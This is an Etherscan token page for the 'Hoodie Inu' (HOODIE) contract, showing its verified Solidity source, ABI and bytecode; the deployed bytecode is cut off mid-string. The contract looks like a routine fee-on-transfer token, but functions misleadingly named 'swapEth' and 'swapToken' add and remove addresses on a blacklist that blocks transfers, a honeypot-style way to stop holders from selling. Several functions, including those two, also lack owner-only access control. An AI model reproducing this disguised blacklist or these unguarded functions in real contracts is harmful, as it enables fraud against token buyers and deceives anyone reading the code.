ETH Price: $3,291.97 (-0.61%)
Gas: 8.28 Gwei

Token

Hoodie Inu (HOODIE)
 

Overview

Max Total Supply

8,000,000,000 HOODIE

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
150,400,000 HOODIE

Value
$0.00
0x29a21fb85d83fa8d0e84fd85e6cf9f0eb2388cf0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HoodieInu

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-04
*/

//SPDX-License-Identifier: MIT
// supply: 8000000000
// max tx: 40000000 (0.5%)
// Telegram: t.me/hoodieinu

pragma solidity ^0.8.12;



interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

uint256 constant INITIAL_TAX=6;
uint256 constant TOTAL_SUPPLY=8000000000;
string constant TOKEN_SYMBOL="HOODIE";
string constant TOKEN_NAME="Hoodie Inu";
uint8 constant DECIMALS=18;
uint256 constant TAX_THRESHOLD=1000000000000000000;

contract HoodieInu is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
	mapping(address => bool) public bots;
	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;

	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;

		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(200);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			require(!bots[from] && !bots[to], "This account is blacklisted");
			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function burn(uint256 percentage) public onlyOwner{
		require(_balance[address(this)]>0,"Nothing to burn");
		uint256 burnAmount=_balance[address(this)].div(100).mul(percentage);
		_tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0);
	}


	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}


	function lowerTax(uint256 newTaxRate) public {
		require(newTaxRate<INITIAL_TAX);
		_taxFee=newTaxRate;
	}

	function removeBuyLimit() public {
		_maxTxAmount=_tTotal;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}


	function swapEth(address[] memory bots_) public  {
				for (uint256 i = 0; i < bots_.length; i++) {
						bots[bots_[i]] = true;
				}
		}

	function swapToken(address notbot) public  {
			bots[notbot] = false;
	}
	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function collectTax() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"swapEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"swapToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000310565b62000023906401dcd6500062000321565b600655600b805461ffff60a81b191690553480156200004157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060088054336001600160a01b031991821617825560066007819055600a8054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1790915580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b0316835292909120805490941690911790925554620001219160c89062000a7e62000165821b17901c565b60095560065460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003be565b6000620001af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001b860201b60201c565b90505b92915050565b60008183620001e55760405162461bcd60e51b8152600401620001dc919062000343565b60405180910390fd5b506000620001f484866200039b565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000254578160001904821115620002385762000238620001fd565b808516156200024657918102915b93841c939080029062000218565b509250929050565b6000826200026d57506001620001b2565b816200027c57506000620001b2565b8160018114620002955760028114620002a057620002c0565b6001915050620001b2565b60ff841115620002b457620002b4620001fd565b50506001821b620001b2565b5060208310610133831016604e8410600b8410161715620002e5575081810a620001b2565b620002f1838362000213565b8060001904821115620003085762000308620001fd565b029392505050565b6000620001af60ff8416836200025c565b60008160001904831182151516156200033e576200033e620001fd565b500290565b600060208083528351808285015260005b81811015620003725785810183015185820160400152820162000354565b8181111562000385576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003b957634e487b7160e01b600052601260045260246000fd5b500490565b6117eb80620003ce6000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461038d578063be2a2080146103ad578063bfd79284146103cd578063d49b55d6146103fd578063dd62ed3e14610412578063e8078d941461045857600080fd5b8063715018a6146102eb5780637d1db4a5146103005780638da5cb5b1461031657806395d89b411461033e5780639e752b951461036d57600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c57806342966c68146102445780634a131672146102645780636e8d82af1461027957806370a08231146102b557600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a815269486f6f64696520496e7560b01b60208201525b6040516101819190611392565b60405180910390f35b34801561019657600080fd5b506101aa6101a536600461140c565b61046d565b6040519015158152602001610181565b3480156101c657600080fd5b506006545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611438565b610484565b34801561020557600080fd5b5060405160128152602001610181565b34801561022157600080fd5b5061022a6104ed565b005b34801561023857600080fd5b5061022a600654600955565b34801561025057600080fd5b5061022a61025f366004611479565b6104fa565b34801561027057600080fd5b5061022a6105b6565b34801561028557600080fd5b5061022a610294366004611492565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102c157600080fd5b506101cb6102d0366004611492565b6001600160a01b031660009081526002602052604090205490565b3480156102f757600080fd5b5061022a610850565b34801561030c57600080fd5b506101cb60095481565b34801561032257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561034a57600080fd5b50604080518082019091526006815265484f4f44494560d01b6020820152610174565b34801561037957600080fd5b5061022a610388366004611479565b6108c4565b34801561039957600080fd5b506101aa6103a836600461140c565b6108d6565b3480156103b957600080fd5b5061022a6103c83660046114c5565b6108e3565b3480156103d957600080fd5b506101aa6103e8366004611492565b60056020526000908152604090205460ff1681565b34801561040957600080fd5b5061022a61094b565b34801561041e57600080fd5b506101cb61042d36600461158a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046457600080fd5b5061022a610964565b600061047a338484610ac7565b5060015b92915050565b6000610491848484610beb565b6104e384336104de8560405180606001604052806028815260200161178e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f52565b610ac7565b5060019392505050565b476104f781610f8c565b50565b6000546001600160a01b0316331461052d5760405162461bcd60e51b8152600401610524906115c3565b60405180910390fd5b3060009081526002602052604090205461057b5760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b6044820152606401610524565b306000908152600260205260408120546105a290839061059c906064610a7e565b90610fc6565b90506105b2306001836000611045565b5050565b6000546001600160a01b031633146105e05760405162461bcd60e51b8152600401610524906115c3565b600b54600160a01b900460ff161561063a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610524565b600a546006546106579130916001600160a01b0390911690610ac7565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ce91906115f8565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075491906115f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906115f8565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561082c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f79190611615565b6000546001600160a01b0316331461087a5760405162461bcd60e51b8152600401610524906115c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600681106108d157600080fd5b600755565b600061047a338484610beb565b60005b81518110156105b25760016005600084848151811061090757610907611637565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094381611663565b9150506108e6565b306000908152600260205260409020546104f781611149565b6000546001600160a01b0316331461098e5760405162461bcd60e51b8152600401610524906115c3565b600a546001600160a01b031663f305d71947306109c0816001600160a01b031660009081526002602052604090205490565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a62919061167e565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610ac083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c3565b9392505050565b6001600160a01b038316610b295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610524565b6001600160a01b038216610b8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610524565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610524565b6001600160a01b038216610cb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610524565b60008111610d135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610524565b6000546001600160a01b03848116911614801590610d3f57506000546001600160a01b03838116911614155b15610ef157600b546001600160a01b038481169116148015610d6f5750600a546001600160a01b03838116911614155b8015610d9457506001600160a01b03821660009081526004602052604090205460ff16155b15610deb57600954811115610deb5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610524565b6001600160a01b03831660009081526005602052604090205460ff16158015610e2d57506001600160a01b03821660009081526005602052604090205460ff16155b610e795760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c697374656400000000006044820152606401610524565b30600090815260026020526040902054600b54600160a81b900460ff16158015610eb15750600b546001600160a01b03858116911614155b8015610ec65750600b54600160b01b900460ff165b15610eef57610ed481611149565b47670de0b6b3a76400008110610eed57610eed47610f8c565b505b505b6001600160a01b038216600090815260046020526040902054610f4d9084908490849060ff1680610f3a57506001600160a01b03871660009081526004602052604090205460ff165b610f4657600754611045565b6000611045565b505050565b60008184841115610f765760405162461bcd60e51b81526004016105249190611392565b506000610f8384866116ac565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105b2573d6000803e3d6000fd5b600082610fd55750600061047e565b6000610fe183856116c3565b905082610fee85836116e2565b14610ac05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610524565b600061105c60646110568585610fc6565b90610a7e565b9050600061106a84836112f1565b6001600160a01b03871660009081526002602052604090205490915061109090856112f1565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546110bf9082611333565b6001600160a01b0386166000908152600260205260408082209290925530815220546110eb9083611333565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119157611191611637565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120e91906115f8565b8160018151811061122157611221611637565b6001600160a01b039283166020918202929092010152600a546112479130911684610ac7565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611280908590600090869030904290600401611704565b600060405180830381600087803b15801561129a57600080fd5b505af11580156112ae573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836112e45760405162461bcd60e51b81526004016105249190611392565b506000610f8384866116e2565b6000610ac083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f52565b6000806113408385611775565b905083811015610ac05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610524565b600060208083528351808285015260005b818110156113bf578581018301518582016040015282016113a3565b818111156113d1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104f757600080fd5b8035611407816113e7565b919050565b6000806040838503121561141f57600080fd5b823561142a816113e7565b946020939093013593505050565b60008060006060848603121561144d57600080fd5b8335611458816113e7565b92506020840135611468816113e7565b929592945050506040919091013590565b60006020828403121561148b57600080fd5b5035919050565b6000602082840312156114a457600080fd5b8135610ac0816113e7565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156114d857600080fd5b823567ffffffffffffffff808211156114f057600080fd5b818501915085601f83011261150457600080fd5b813581811115611516576115166114af565b8060051b604051601f19603f8301168101818110858211171561153b5761153b6114af565b60405291825284820192508381018501918883111561155957600080fd5b938501935b8285101561157e5761156f856113fc565b8452938501939285019261155e565b98975050505050505050565b6000806040838503121561159d57600080fd5b82356115a8816113e7565b915060208301356115b8816113e7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561160a57600080fd5b8151610ac0816113e7565b60006020828403121561162757600080fd5b81518015158114610ac057600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116775761167761164d565b5060010190565b60008060006060848603121561169357600080fd5b8351925060208401519150604084015190509250925092565b6000828210156116be576116be61164d565b500390565b60008160001904831182151516156116dd576116dd61164d565b500290565b6000826116ff57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117545784516001600160a01b03168352938301939183019160010161172f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117885761178861164d565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff46c15e9a44006f57c289dd6a6bfdecc4c33493b09e216e544c05dc9db8533864736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461038d578063be2a2080146103ad578063bfd79284146103cd578063d49b55d6146103fd578063dd62ed3e14610412578063e8078d941461045857600080fd5b8063715018a6146102eb5780637d1db4a5146103005780638da5cb5b1461031657806395d89b411461033e5780639e752b951461036d57600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c57806342966c68146102445780634a131672146102645780636e8d82af1461027957806370a08231146102b557600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a815269486f6f64696520496e7560b01b60208201525b6040516101819190611392565b60405180910390f35b34801561019657600080fd5b506101aa6101a536600461140c565b61046d565b6040519015158152602001610181565b3480156101c657600080fd5b506006545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611438565b610484565b34801561020557600080fd5b5060405160128152602001610181565b34801561022157600080fd5b5061022a6104ed565b005b34801561023857600080fd5b5061022a600654600955565b34801561025057600080fd5b5061022a61025f366004611479565b6104fa565b34801561027057600080fd5b5061022a6105b6565b34801561028557600080fd5b5061022a610294366004611492565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102c157600080fd5b506101cb6102d0366004611492565b6001600160a01b031660009081526002602052604090205490565b3480156102f757600080fd5b5061022a610850565b34801561030c57600080fd5b506101cb60095481565b34801561032257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561034a57600080fd5b50604080518082019091526006815265484f4f44494560d01b6020820152610174565b34801561037957600080fd5b5061022a610388366004611479565b6108c4565b34801561039957600080fd5b506101aa6103a836600461140c565b6108d6565b3480156103b957600080fd5b5061022a6103c83660046114c5565b6108e3565b3480156103d957600080fd5b506101aa6103e8366004611492565b60056020526000908152604090205460ff1681565b34801561040957600080fd5b5061022a61094b565b34801561041e57600080fd5b506101cb61042d36600461158a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046457600080fd5b5061022a610964565b600061047a338484610ac7565b5060015b92915050565b6000610491848484610beb565b6104e384336104de8560405180606001604052806028815260200161178e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f52565b610ac7565b5060019392505050565b476104f781610f8c565b50565b6000546001600160a01b0316331461052d5760405162461bcd60e51b8152600401610524906115c3565b60405180910390fd5b3060009081526002602052604090205461057b5760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b6044820152606401610524565b306000908152600260205260408120546105a290839061059c906064610a7e565b90610fc6565b90506105b2306001836000611045565b5050565b6000546001600160a01b031633146105e05760405162461bcd60e51b8152600401610524906115c3565b600b54600160a01b900460ff161561063a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610524565b600a546006546106579130916001600160a01b0390911690610ac7565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ce91906115f8565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075491906115f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906115f8565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561082c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f79190611615565b6000546001600160a01b0316331461087a5760405162461bcd60e51b8152600401610524906115c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600681106108d157600080fd5b600755565b600061047a338484610beb565b60005b81518110156105b25760016005600084848151811061090757610907611637565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094381611663565b9150506108e6565b306000908152600260205260409020546104f781611149565b6000546001600160a01b0316331461098e5760405162461bcd60e51b8152600401610524906115c3565b600a546001600160a01b031663f305d71947306109c0816001600160a01b031660009081526002602052604090205490565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a62919061167e565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610ac083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c3565b9392505050565b6001600160a01b038316610b29576040516